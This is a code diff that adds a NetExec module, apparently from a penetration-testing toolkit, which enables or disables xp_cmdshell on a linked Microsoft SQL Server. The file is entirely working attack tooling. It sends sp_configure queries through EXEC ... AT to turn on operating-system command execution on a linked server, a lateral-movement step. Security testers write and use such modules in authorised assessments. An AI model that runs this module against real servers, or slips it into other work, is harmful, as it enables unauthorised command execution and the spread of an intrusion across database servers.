|
| 1 | +#Author: |
| 2 | +# deathflamingo |
| 3 | +class NXCModule: |
| 4 | + """Enable or disable xp_cmdshell on a linked SQL server""" |
| 5 | + |
| 6 | + name = "link_enable_xp" |
| 7 | + description = "Enable or disable xp_cmdshell on a linked SQL server" |
| 8 | + supported_protocols = ["mssql"] |
| 9 | + opsec_safe = False |
| 10 | + multiple_hosts = False |
| 11 | + |
| 12 | + def __init__(self): |
| 13 | + self.action = None |
| 14 | + self.linked_server = None |
| 15 | + |
| 16 | + def options(self, context, module_options): |
| 17 | + """ |
| 18 | + Defines the options for enabling or disabling xp_cmdshell on the linked server. |
| 19 | + ACTION Specifies whether to enable or disable: |
| 20 | + - enable (default) |
| 21 | + - disable |
| 22 | + LINKED_SERVER The name of the linked SQL server to target. |
| 23 | + """ |
| 24 | + self.action = module_options.get("ACTION", "enable") |
| 25 | + self.linked_server = module_options.get("LINKED_SERVER") |
| 26 | + |
| 27 | + def on_login(self, context, connection): |
| 28 | + self.context = context |
| 29 | + self.mssql_conn = connection.conn |
| 30 | + if not self.linked_server: |
| 31 | + self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.") |
| 32 | + return |
| 33 | + |
| 34 | + # Enable or disable xp_cmdshell based on action |
| 35 | + if self.action == "enable": |
| 36 | + self.enable_xp_cmdshell() |
| 37 | + elif self.action == "disable": |
| 38 | + self.disable_xp_cmdshell() |
| 39 | + else: |
| 40 | + self.context.log.fail(f"Unknown action: {self.action}") |
| 41 | + |
| 42 | + def enable_xp_cmdshell(self): |
| 43 | + """Enable xp_cmdshell on the linked server.""" |
| 44 | + query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]" |
| 45 | + self.context.log.display(f"Enabling advanced options on {self.linked_server}...") |
| 46 | + out=self.query_and_get_output(query) |
| 47 | + query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]" |
| 48 | + self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...") |
| 49 | + out=self.query_and_get_output(query) |
| 50 | + self.context.log.display(out) |
| 51 | + self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") |
| 52 | + |
| 53 | + def disable_xp_cmdshell(self): |
| 54 | + """Disable xp_cmdshell on the linked server.""" |
| 55 | + query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]" |
| 56 | + self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...") |
| 57 | + self.query_and_get_output(query) |
| 58 | + self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}") |
| 59 | + |
| 60 | + def query_and_get_output(self, query): |
| 61 | + """Executes a query and returns the output.""" |
| 62 | + return self.mssql_conn.sql_query(query) |
0 commit comments